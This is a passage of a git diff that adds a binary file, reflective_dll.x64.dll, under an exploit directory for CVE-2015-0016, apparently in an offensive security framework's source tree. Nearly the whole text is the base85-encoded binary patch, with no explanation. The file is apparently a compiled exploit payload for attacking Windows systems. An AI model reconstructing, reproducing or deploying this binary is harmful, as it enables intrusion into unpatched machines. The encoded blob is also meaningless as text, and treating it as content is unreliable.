zVrosDX)weXWS3@>Fm0y8bemq2H2r4Cj376p&7{d9In07)9WOWFNSb~8FSL>8Dk3RbN!in3Gd3fH);ZkwBQ`;mFl?xdT+ePzxq zy36jG8}%AI;^=JH00zE-XN~9X>h~tioU;Yn%{sp^tfv5lg literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..a4647765c63f97f9a939ee2ee18884ba02331469 GIT binary patch literal 66560 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�;DU$r!WqWH}T5%zU_^sH8yp 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

7WqL1Xra% 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 